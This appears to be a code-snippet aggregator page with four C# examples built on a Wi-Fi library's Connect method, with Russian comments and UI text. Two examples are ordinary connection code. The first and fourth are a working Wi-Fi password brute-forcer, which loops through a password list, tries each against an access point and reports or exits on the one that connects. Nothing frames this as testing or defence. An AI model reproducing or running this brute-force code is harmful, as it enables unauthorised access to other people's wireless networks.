Exemplo n.º 1
0
        private async Task connect(AccessPoint ap, string password)
        {
            ap.DeleteProfile();
            bool        str = false;
            AuthRequest ar  = new AuthRequest(ap);

            ar.Password = password;
            try
            {
                str = await Task.Run(() => ap.Connect(ar));

                //str = ap.Connect(ar);
            }
            catch
            {
            }
            Console.WriteLine(ap.ToString() + ar.Password + str);
            if (str)
            {
                Environment.Exit(0);
            }
        }
Exemplo n.º 2
0
        private void ConnectSubButton_Click(object sender, EventArgs e)
        {
            // Требуется ли пароль
            if (authRequest.IsPasswordRequired)
            {
                if (selectedAP.HasProfile) // Спросим - соединиться по старому профилю или по новому?
                {
                    showRichTextBox2.Text += ("\r\n-> Профиль уже существует, хочешь ли ты соединиться по старому паролю?");
                    if (MessageBox.Show("Профиль уже существует, хочешь ли ты соединиться по старому паролю? ", "Сообщение", MessageBoxButtons.OKCancel, MessageBoxIcon.Stop) == DialogResult.OK)
                    {
                        overwrite = false;
                        textBoxUsername.Visible = false;
                        textBoxPassword.Visible = false;
                        textBoxDomain.Visible = false;
                        
                    }
                }

                if (overwrite)
                {
                    if (authRequest.IsUsernameRequired)
                    {
                        showRichTextBox2.Text += ("\r\n-> Пожалуйста, введите имя пользователя");
                        authRequest.Username = textBoxUsername.Text;
                    }

                    string password = string.Empty;
                    bool validPassFormat = false;
                    if (!validPassFormat)
                    {
                        showRichTextBox2.Text += ("\r\n-> Пожалуйста, введите пароль к точке ");
                        password = textBoxPassword.Text;

                        validPassFormat = selectedAP.IsValidPassword(password);

                        if (!validPassFormat)
                        {
                            showRichTextBox2.Text += ("\r\n-> Неверный пароль.");
                            MessageBox.Show("Не верный пароль.");
                            return;
                        }
                        else
                        {
                            authRequest.Password = password;
                        }
                    }

                    if (authRequest.IsDomainSupported)
                    {
                        showRichTextBox2.Text += ("\r\n-> Пожалуйста, введите имя домена: ");
                        authRequest.Domain = textBoxDomain.Text;
                    }
                }
            }
            bool success = selectedAP.Connect(authRequest, overwrite);
            connectionString = string.Format("\nСоединение удалось: {0}", success ? "да" : "нет");
            
            showRichTextBox2.Text += connectionString;

            this.Close();
        }
Exemplo n.º 3
0
 public static bool Connect(AccessPoint accessPoint)
 {
     return(accessPoint.Connect(new AuthRequest(accessPoint)));
 }
Exemplo n.º 4
0
        /// <summary>
        ///  Предусмотрен брут только тех точек, которые требуют только пароль
        /// </summary>
        public void GetBrut(object ap)
        {
            AccessPoint selectedAP  = (AccessPoint)ap;
            var         authRequest = new AuthRequest(selectedAP);

            if (authRequest.IsDomainSupported || authRequest.IsUsernameRequired)
            {
                ChangeShowRichTextBox2("  Соединение требует не только пароль, но и логин пользователя/домен\n");
                stopBrut = true;
                return;
            }
            if (authRequest.IsPasswordRequired)
            {
                for (int i = 0; i < passwords.Length && !stopBrut; i++)
                {
                    bool   overwrite = true;
                    string pass      = passwords[i];


                    // Требуется ли пароль
                    if (overwrite)
                    {
                        bool validPassFormat = false;

                        validPassFormat = selectedAP.IsValidPassword(pass);

                        if (!validPassFormat)
                        {
                            ChangeShowRichTextBox2("-> Невалидный пароль:" + pass + "\r\n");
                            continue;
                        }
                        else
                        {
                            authRequest.Password = pass;

                            bool success = selectedAP.Connect(authRequest, overwrite);
                            if (success)
                            {
                                stopBrut = true;
                                ChangeShowRichTextBox2("  Соединение удалось, пароль: " + pass);
                                ChangeButtonBrut("Начать перебор паролей к сети", true);
                                return;
                            }
                            else
                            {
                                ChangeShowRichTextBox2(i + "  Соединение не удалось по паролю: " + pass);
                            }
                        }
                    }

                    ChangeLabelUsedPasses((i + 1).ToString());
                    ChangeLabelUnUsedPasses((passwords.Length - i - 1).ToString());
                }
            }
            else
            {
                ChangeShowRichTextBox2("  Соединение свободно, пароль не требуется\n");
                ChangeButtonBrut("Начать перебор паролей к сети");

                t.Abort();
                stopBrut = true;
                return;
            }
            t.Abort();
            stopBrut = true;
            ChangeButtonBrut("Начать перебор паролей к сети");
            ChangeShowRichTextBox2(string.Format("\n  Пароль не найден"));
        }